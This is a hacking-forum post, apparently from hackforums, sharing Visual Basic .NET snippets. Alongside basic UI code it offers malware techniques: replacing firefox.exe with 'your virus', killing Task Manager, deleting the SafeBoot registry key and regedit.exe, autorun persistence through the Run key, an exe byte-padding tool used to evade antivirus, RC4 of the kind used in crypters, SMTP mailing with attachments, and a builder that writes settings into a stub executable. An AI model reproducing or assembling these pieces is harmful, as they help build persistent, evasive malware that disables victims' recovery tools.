Originally Posted by jimmydang09
arhh this dosent do anything ppl's if u understud vb it just basically so thing you can add to your coding to make it better dont post in the vb secotion if u dont understand it
1. Make The Computer Beep
Code:
Console.Beep()
Note: Throw in a loop and some timers ? Devlish
2. Fade In / Fade Out
* For Fade in
Code:
For Fadein = 0.0 To 1.1 Step 0.1
Me.Opacity = Fadein
Me.Refresh()
Threading.Thread.Sleep(100)
Next
* For Fade Out
Code:
For FadeOut = 90 To 10 Step -10
Me.Opacity = FadeOut / 100
Me.Refresh()
Threading.Thread.Sleep(50)
Next
3. Make The Computer Talk
Code:
Dim sapi
sapi = CreateObject("sapi.spvoice")
sapi.Speak("TextHere")
4. Create A Message Box
Code:
MsgBox("TextHere")
5. Create A Message Box With A Yes + No Button ( To Change Find "vbYesNo",Possible Options:
Code:
vbYesNoCancel
vbCritical
vbExcalmation
vbInformation
vbMsgBoxHelp
vbMsgBoxRight
vbOkOnly
vbRetryCancel
vbDefaultButton1
vbDefaultButton2
vbDefaultButton3
vbApplicationmodal
vbQuestion
vbOkCancel
vbAbortRetryIgnore
Code:
Dim Responce As Integer
Responce = MsgBox("Are You Sure", vbYesNo, "DELETE")
If Responce = vbYes Then
MsgBox(" You Clicked Yes!")
Else
MsgBox("You Clicked No!")
End If
5. Start A Process ( Two Examples)
Code:
Process.Start("notepad")
Process.Start("www.hackforum.net")
6. Kill A Process
Code:
Dim RunningProcess As System.Diagnostics.Process = Process.GetProcessesByName("taskmgr.exe")(0)
RunningProcess.Kill()
7. Rename A File
Tip : Copy Your Virus To Firefox's location,Rename firefox.exe something,rename your virus firefox.exe,Now all firefox shortcuts will start your virus ! Pinch
Code:
My.Computer.FileSystem.RenameFile ("C:\Program Files\Mozilla Firefox\firefox.exe", "Anything.exe")
8. Delete A File
Code:
Dim FileToDelete As String
FileToDelete = "C:\File.exe"
If System.IO.File.Exists(FileToDelete) = True Then
System.IO.File.Delete(FileToDelete)
9. Copy A File
Code:
Dim FileToCopy As String
Dim NewCopy As String
FileToCopy = "C:\test.exe"
NewCopy = "C:\NewTest.txt"
If System.IO.File.Exists(FileToCopy) = True Then
System.IO.File.Copy(FileToCopy, NewCopy)
10. Declare a variable ( Example : String)
Code:
Dim Hackforum As String
Hackforum = "Awesome"
11. Delete A Registy Key
Code:
My.Computer.Registry.LocalMachine.DeleteSubKey("HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SafeBoot")
12. Create A Registry Key
Code:
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE", True)
regKey.CreateSubKey("MyApp")
regKey.Close()
13. Over Write A Text File And Then Add Text To It
Code:
Dim OverWrite As String = "C:\Documents and Settings\All Users\Desktop\Example.txt"
If System.IO.File.Exists(OverWrite) = True Then
Dim ObjWriter4 As New System.IO.StreamWriter(OverWrite)
ObjWriter4.Write("Text To Add")
ObjWriter4.Close()
14. Create An If Statement ( File Deletion )
Code:
Dim FileToDeleteWithAIfStatement As String
FileToDeleteWithAIfStatement = "C:\Windows\I386\regedit.exe"
If System.IO.File.Exists(FileToDeleteWithAIfStatement) = True The
System.IO.File.Delete(FileToDeleteWithAIfStatement)
End If
15. Assign A text box text ( Two Examples )
Code:
Textbox1.Text = "Text"
Dim Anything As String
Anything = "Random"
Textbox1.Text = (Anything)
16. Assign A Label Text (Two Examples)
Code:
Label1 = "Bleh"
Dim RandomText As String
RandomText = "Blah"
Label1 = (RandomText)
17.Add A List Item To A Listbox
Code:
Dim RandomText As String
RandomText = "Text"
listBox1.Items.Add(RandomText)
18. Execute A Line Of Code If A Check Box Is Checked Off
Code:
If CheckBox1.CheckState = CheckState.Checked Then
' Execute Code Here
Else
'Execute Code Here
End If
19. For Loop
Code:
For MessageBox = 1 To 60
MsgBox(" This Will Loop Sixty Times!")
Next MessageBox
20. Start A Timer
Code:
Timer.Start ()
21. Stop A Timer
Code:
Timer1.Stop ()
22. Close The Application
Code:
Me.Close ()
23. Hide Your Application
Code:
Me.Hide ()
24. Send An Email With An Attachment Via SMTP ( http://www.vbforfree.com/?p=282 )
Code:
Dim message As System.Net.Mail.MailMessage
Dim smtp As New System.Net.Mail.SmtpClient("smtp.gmail.com", 587)
Dim attach As System.Net.Mail.Attachment
message = New System.Net.Mail.MailMessage(txtFrom.Text, txtTo.Text, txtSubject.Text, txtMessage.Text)
If My.Computer.FileSystem.FileExists(txtAttachment.Text) Then message.Attachments.Add(attach)
smtp.EnableSsl = True
smtp.Credentials = New System.Net.NetworkCredential("yourUsername@yourmail.com", "password")
Try
smtp.Send(message)
MessageBox.Show("Well, the mail message appears to have been a success!", " Successful?", MessageBoxButtons.OK, MessageBoxIcon.Information)
Catch exc As Net.Mail.SmtpException
MessageBox.Show(exc.StatusCode.ToString, " Something Happened?", MessageBoxButtons.OK, MessageBoxIcon.Error)
End Try
Provider SMTP Server 12 012.net.il 191 mail.191.biz 191.it mail.191.it Access4Less smtp.access4less.net Active Network smtp.activenetwork.it Actrix Networks mail.actri*****.nz Adelphia mail.adelphia.net akfree smtp.akfree.it Albacom relay.albacom.net albacom smpt.albacom.net Albacom smtp.albacom.net alcotek smtp.alcotek.it alice out.aliceposta.it aliceposta.it mail.tin.it alise outmail.f2s.com AOL smtp.aol.com Arnet smtp.arne*****m.ar Aruba smtp.aruba.it AT & T Wireless smtp.attwireless.net AT & T Worldnet imailhost.worldnet.att.net atlanet smtp.weblinea.it atlanet smtp.atlavia.it Auna smtp.aun*****m Bahrain Telecommunications Company batelco.com.bh Barak I.T.C mail.barak.net.il basilicatanet.it mail.basilicatanet.it bella.ci bella.ci Bellsouth mail.bellsouth.net Bezeq International mail.bezeqint.net Bezeqint mail.bezeqint.net Bitstop pangasinan.com Blu.it smtp.blu.it Bluebottle mail.bluebottle.com blueligh*****m smtp.myblueligh*****m Bluewin mail.bluewin.ch BlueYonder smtp.blueyonder.co.uk bol.com.br smtp.bol.com.br BRTURBO smtp.brturbo.com.br BT Internet mail.btinterne*****m BT Openworld mail.btopenworld.com B***ick smtp.b***ick.com BTTB mail.bttb.net.bd BusinessServe smtp.businessserve.co.uk Cable One mail.cableone.net Cableinet smtp.blueyonder.co.uk Caiway smtp.caiway.nl Callsouth - Broadband smtp2.callsouth.net.nz Callsouth - Dial up smtp.callsouth.net.nz Cantv.net mail.cantv.net cegetel smtp.cegetel.net Chariot Netconnect mail.vic.chariot.net.au charter pop.charter.net Charter mail.charter.net cheapnet smtp.cheapnet.it chello.pl mail.chello.pl ciaoweb ciaosmtp.ciaoweb.it Cingular smtp.mymmode.com Ciudad smtp.ciudad.com.ar Claranet relay.clara.net Clear Net smtp.clear.net.nz click21 smtp.click21.com.br Club-Internet smtp.club-internet.fr collegeclub collegeclub.com Colt.net (Germany) smtp.ipmail.colt.net Columbia Power and Water mail.cpws.net Comcast smtp.comcast.net Comcast smtp.comcast.net Cox - Central smtp.central.cox.net Cox - East smtp.eas*****x.net Cox - West smtp.wes*****x.net Cultura smtp.cultur*****m.br CWCom smtp.ntlworld.com Datamat mail.datamat.it Demon post.demon.co.uk Digitel Italia smtp.etmail.it Dinajpur www.dinajpur.biz Dream Net Internet mail.dreamne*****.nz Earth Link smtpauth.earthlink.net Easynet smtp.easyne*****.uk eircom.net mail2.eircom.net Elitel smtp.elitel.biz Email.it smtp.email.it Euronet NL smtp.euronet.nl everybodycanadd itsverybad Excite smtp.tiscali.it EzySurf smtp.ezysurf.co.nz FastMail mail.messagingengine.com Fastweb smtp.fastweb.it Fastweb mailbus.fastweb.it fastweb pop.fastwebnet.it Fastweb smtp.fastwebnet.it fibertel.com.ar smtp.fibertel.com.ar Free smtp.******** Free Telecom smtp.******** Freedom2surf outmail.f2s.com Freemail smtp.freemail.it freemail.it mail.freemail.it freemail.it (supereva) mail.freemail.it freenet mx.freenet.de freenet.de mx.freenet.de Freeserve smtp.freeserve.co.uk Galactica.it smtp.galactica.it Genie mail.genie.co.uk GIGA smtp.giga.net.tw Globe Net Communications smtp.globe.net.nz gmail smtp.gmail.com GMX mail.gmx.net Go Daddy smtpout.secureserver.net go.com smtp.go.com Haier Electronics smtp.haier-electronics.com Hinet msa.hinet.net HiNet ms1.hinet.net HOTMAIL (Please see Windows Live Homtail) hotmail.co.uk hotmail (Please see Windows Live Homtail) mx2.hotmail.com Hotmail.com (Please see Windows Live Homtail) mx2.hotmail.com Hotmail.com (Please see Windows Live Homtail) mx1.hotmail.com Hotmail.com (Please see Windows Live Homtail) mx1.hotmail.com HotPOP.com smtp.hotpop.com I4U Internet Services mail.i4u.net.nz ic24 smtp.ic24.net IG smtp.ig.com.br IHUG smtp.ihug.co.nz INET inet.it Infinito mail.infinito.it InfoStructure -- GRR Technology smtp.grrtech.com InfoStructure -- InfoStructure smtp.mind.net InfoStructure -- Klamath Falls Internet smtp.kfalls.net InfoStructure -- Medford Internet smtp.medford.net InsightBB mail.insightbb.com Interbusiness (TI Easynet) mail1.cs.interbusiness.it INTERFREE mail.interfree.it Internet Zahav sout.zahav.net.il internetlibero smtp.internet********** inWind mail.inwind.it IOL mail.iol.it Iomart smtp.domain.ext IPrimus Australia smtp.iprimus.com.au Iprolink smtp.iprolink.co.nz istruzione.it istruzione.it ItalyMAIL mail.italymail.biz ixpres.com smtp.ixpres.com jumpy mail.jumpy.it Juno smtp.juno.com Katamail smtp.katamail.com Kataweb smtp.katamail.com la poste smtp.laposte.net Le neuf smtp.neuf.fr Libero mail.********** Lillinet smtp.weblinea.it Lineone smtp.lineone.net Lycos smtp****cos.co.uk lycos.it smtp****cos.it Mac.com smtp.mac.com Madasafish smtp.madasafish.com mail.quizil.net mail.quizil.net mail.ru smtp.mail.ru Mailsnare mail.mailsnare.net Maktoob Mail mira0.maktoob.com McLink mail.mclink.it Mediacom mail.mchsi.com Mistral smtp.mistral.co.uk Momax smtp.momax.it ms15.hinet.net ms15.hinet.net msoft.it smtp.weblinea.it mtel mail.mtel.net NamesToday smtp.namestoday.ws NamesToday smtp.namestoday.ws nerim.net astralblue@nerim.net netcabo smtp.netcabo.pt Netexplora Chile mail.netexplor*****m Netlink mail.netlink.co.nz netscape smtp.isp.netscape.com Netscapeonline mailhost.netscapeonline.co.uk netvigator mail.netvigator.com Netvisão (Portugal) mail.netvisao.pt Netvisão (Portugal) mail.netvisao.pt NetZero.com smtp.netzero.com neuf telecom smtp.neuf.fr NGI smtp.ngi.it Nildram smtp.nildram.co.uk Noos smtp.noos.fr novis (portugal) mail.novis.pt ntl (uk) smtp.ntlworld.com NTLWorld smtp.ntlworld.com OneTel mail.onetel.net.uk ono wanadoo.fr oNo smtp.ono.com Optonline (Cablevision's Optimum Online) mail.optonline.net Orcon mail.orcon.net.nz outgoing.verizon.net tchrshelli P.C.T.S. ns.pcts.sk Paradise Net smtp.paradi*******.nz PCHome smtp.pchome.com.tw People PC smtpauth.peoplepc.com People PC mail.peoplepc.com Pipex smtp.dsl.pipe*****m Pipex smtp.dial.pipe*****m pixius smtp.citilink.com Post Man mail.postman.net Poste.it relay.poste.it postino.it smtp.postino.it Previdencia kiwi.previdencia.gov.br prodigy xas*****m Prodigy(TELMEX)(México) smtp.prodigy.net.mx promo.it smtp.promo.it Purplenet smtp.purplene*****.uk Quipo quipo.it R (cable Galicia) smtp.mundo-r.com Radio Deejay Mail smtp.deejaymail.it RCP (PERU) amauta.rcp.net.pe Reteitaly smtp.reteitaly.com Rogers smtp.broadband.rogers.com RunBox smtp.runbo*****m Sapo (Portugal) mx.sapo.pt SBC Global (Yahoo Powered) smtp.flash.yahoo.com SBC Global (Yahoo Powered) smtp.nvbell.yahoo.com SBC Global (Yahoo Powered) smtp.pacbell.yahoo.com SBC Global (Yahoo Powered) smtp.sbcglobal.yahoo.com SBC Global (Yahoo Powered) smtp.prodigy.yahoo.com SBC Global (Yahoo Powered) smtp.wans.yahoo.com SBC Global (Yahoo Powered) smtp.snet.yahoo.com SBC Global (Yahoo Powered) smtp.swbell.yahoo.com SBC Global (Yahoo Powered) smtp.ameritech.yahoo.com SBC Yahoo DSL smtp.sbcglobal.yahoo.com sbcyahoo.dsl smtp.sbcglobal.yahoo.com Scarlet or Scarlet.be smtp.scarlet.be Screaming.Net smtp.tiscali.co.uk SFR (French mobile telephone) smtp-auth.sfr.fr Shaw Canada shawmail.cg.shawcable.net Shylex Telecomunicaciones smtp.shylex.net SiFree.it smtp.simail.it sify.com mail.satyam.net.in skynet relay.skynet.be Skynet.be relay.skynet.be Slingshot smtp.slingsho*****.nz softhome.net mail.softhome.net SouthNet smtp.southne*****.nz Southwestern Bell mail.swbell.net SprintPCS smtp.sprintpcs.com Spymac mail.spymac.com StofaNet.dk mail1.stofanet.dk sunrise (CH) smtp.sunrise.ch Supanet smtp.supane*****m supereva mail.supereva.it SuperFree.it smtp.superfree.it sympatico smtp1.sympatico.ca Tag Comunicazioni 64.94.0.31 TalkTalk smtp.TalkTalk.net Tariffe.it smtp.tariffenet.it TDC backup-mx.post.tele.dk tele2.fr smtp.tele2.fr tele2.it smtp.tele2.it Tele2Internet virtual.everyday.com telecom mail.cs.interbusiness.it Telecom (Alice) mail.tin.it Telecom ADSL (Business) smtp.191.it Telecom ADSL (Business) mail.191.it telecom italia 191.it Telecom Smart mail.tuttopmi.it Telecom Xtra smtp.xtr*****.nz Teleconomy Internet mail.191.it TELEDISNET.BE mail.teledisnet.be telefonica smtp.telefonica.net Telenet (belgium) uit.telenet.be telenet(belgium) uit.telenet.be telepac smtp.telepac.pt Telepac ADSL (Portugal) smtp.telepac.pt telewest smtp.blueyonder.co.uk Telewest smtp.blueyonder.co.uk telkom smpt.telkom.net Telkomsa.net smtp.telkomsa.net Telus smtp.telus.net Telus.net mail.telus.net Telvia.it smtp.telvia.it Terra smtp.terra.es Terra - BR smtp.sao.terr*****m.br Terra - BR - Recife smtp.rec.terr*****m.br Terra - España mailhost..terra.es Terra - España smtp.mailhost.terra.es Terra - España smtp.mailhost.terra.es Tesconet mail.tesco.net TIM.it mail.posta.tim.it timenet ADSL smtp2.xdslnet.it TimeWarner (Unknown At This Time) Tin.it out.virgilio.it TIN.IT free (funziona con Alice) mail.clubnet.tin.it Tiscali smtp.tiscali.co.uk Tiscali smtp.tiscali.it Tiscali.de smtp.tiscali.de tiscali.es smtp.tiscali.es Tiscali.nl smtp.tiscali.nl Tnet mail.tnet.it t-online mailto.t-online.de Totalise mail.totalise.co.uk tre smtp.tre.it Tugamail mail.tugamail.com TuttoGratis.it smtp.eutelia.it Tvtel tvtel.pt UKGateway smtp.ukgateway.net unitedemailsystems unitedemailsystems.com unitedemailsystems smtp.unitedemailsystems.com UOL smtp.uol.com.br UOL Sinectis Argentina relay.uolsinectis.com.ar US Cable smtp.warpdriveonline.com USA.net smtp.postoffice.net utenti interbusiness telecom mail.cs.interbusiness.it Utopia Systems smtp.utopiasystems.net utu.fi smtp.utu.fi V 21 smtp.v21.co.uk Verizon DSL outgoing.verizon.net videobank videobank.it virgilio out.virgilio.it Virgin smtp.virgin.net Vispa mail.visp*****m Vivacity pop.Vivacity.it Vodafone.it smtpmail.vodafone.it Waitrose smtpmail.waitrose.com wanadoo smtp.wanadooadsl.net wanadoo (France) smtp.wanadoo.fr wanadoo España smtp.wanadoo.es wanadoo.nl smtp.wanadoo.nl Web.de smtp.web.de Webmail.is smtp.emailsrvr.com Which Online mail.which.net Windows Live Hotmail smtp.live.com wooow.it smtp.wooow.it World-Net mail.world-ne*****.nz Worldonline smtp.tiscali.co.uk www.gmail.com smtp.gmail.com www.qos.net.il mail.qos.net.il www.tol.it smtp-tol.it www.tol.it smtp.tol.it X-Privat mail.x-privat.org XS4ALL smtp.xs4all.nl xs4all.nl mail.xs4all.nl Xtra smtp.xtr*****.nz Y*****m smtp.y*****m Y*****m ADSL smtp2.adsl.y*****m yahoo smtp.mail.yahoo.com.cn yahoo yahoo.es Yahoo smtp.mail.yahoo.com Yahoo (autentication needed) smtp.mail.yahoo.com Yahoo Argentina smtp.mail.yahoo.com.ar yahoo.co.uk smtp.mail.yahoo.co.uk yahoo.com.tw smtp.mail.yahoo.com.tw yahoo.com.tw stmp.mail.yahoo.com Yahoo.de smtp.mail.yahoo.de yahoo.es smtp.correo.yahoo.es yahoo.it smtp.mail.yahoo.it ZeelandNet mail.zeelandnet.nl zero.ad.jp zero.ad.jp Zonnet smtp.zonnet.nl 587
Public Shared Sub AddToAutorun()
Dim key As Microsoft.Win32.RegistryKey = My.Computer.Registry.CurrentUser.CreateSubKey("Software\Microsoft\Windows\CurrentVersion\Run")
key.SetValue(My.Application.Info.ProductName, """" & System.Reflection.Assembly.GetEntryAssembly.Location & """")
End Sub
Call a WSCRIPT.SHELL element to edit registry.... I normally wouldnt share my method but I am moving to C++ now..
mports System
Imports System.ComponentModel
Imports System.IO
Imports System.Windows.Forms
Namespace AddBytes
Public Partial Class Form1
Inherits Form
Public Sub New()
InitializeComponent()
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs)
End Sub
Private Sub button1_Click(ByVal sender As Object, ByVal e As EventArgs)
Dim file__1 = File.OpenWrite(textBox1.Text)
Dim siza = file__1.Seek(0, SeekOrigin.[End])
Dim size = Convert.ToInt32(textBox2.Text)
Dim bite As Decimal = size * 1048576
While siza < bite
siza += 1
file__1.WriteByte(0)
End While
file__1.Close()
MessageBox.Show("Done !")
End Sub
Private Sub button2_Click(ByVal sender As Object, ByVal e As EventArgs)
openFileDialog1.DefaultExt = "exe"
openFileDialog1.Filter = "exe files (*.exe)|*.exe"
openFileDialog1.FilterIndex = 1
If openFileDialog1.ShowDialog(Me) = DialogResult.OK Then
textBox1.Text = String.Empty
textBox1.Text = openFileDialog1.FileName
End If
End Sub
Private Sub openFileDialog1_FileOk(ByVal sender As Object, ByVal e As CancelEventArgs)
End Sub
End Class
End Namespace
Dim MachineName As String = Environment.MachineName
Dim sz_path as string = Environment.GetFolderPath(Environment.SpecialFolder.System)
Imports system.io
dim sz_path as string = environment.getfolderpath(environment.specialfolder.desktop)
dim sz_f as string = sz_path + "\\test.txt"
dim writer as new streamwriter(sz_f)
writer.Write("yay look at me")
writer.Write(Environment.NewLine)
writer.Write("wtfnewline")
writer.close()
Public Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New System.Text.StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function
Dim webclient As New System.Net.WebClient
Dim ip As String
ip = System.Text.Encoding.ASCII.GetString(( _
webclient.DownloadData("http://whatismyip.com/automation/n09230945.asp")))
TextBox2.Text = ip
For Each pimp As Process In Process.GetProcessesByName("MapleStory")
pimp.Kill()
Next
Sub Delay(ByVal dblSecs As Double)
Const OneSec As Double = 1.0# / (1440.0# * 60.0#)
Dim dblWaitTil As Date
Now.AddSeconds(OneSec)
dblWaitTil = Now.AddSeconds(OneSec).AddSeconds(dblSecs)
Do Until Now > dblWaitTil
Application.DoEvents()
Loop
End Sub
Call Delay(2) '2 seconds
Dim options(), text1 As String
Const FileSplit = "@scriptkiddypwns@" //declares ur stuff
FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1))
Dim monkey As String
Dim settings As String
FileGet(1, text1)
FileClose(1)
options = Split(text1, FileSplit)
monkey = "DOESNT MATTR"
use: textbox1.text = options(1)
again you can include more then this, but you will have to get it as well, if you want two just name the second one text2, and u would call
options(2) like that pretty easy right?
Dim stub, text1 As String
Const FileSplit = "@scriptkiddypwns@" //declares ur stuff
text1 = TextBox2.Text
FileOpen(1, Application.StartupPath & "\stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
If File.Exists("MesoXY.exe") Then
My.Computer.FileSystem.DeleteFile("MesoXY.exe")
End If
FileOpen(1, Application.StartupPath & "\MesoXY.exe", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & text1)
FileClose(1)
Originally Posted by jimmydang09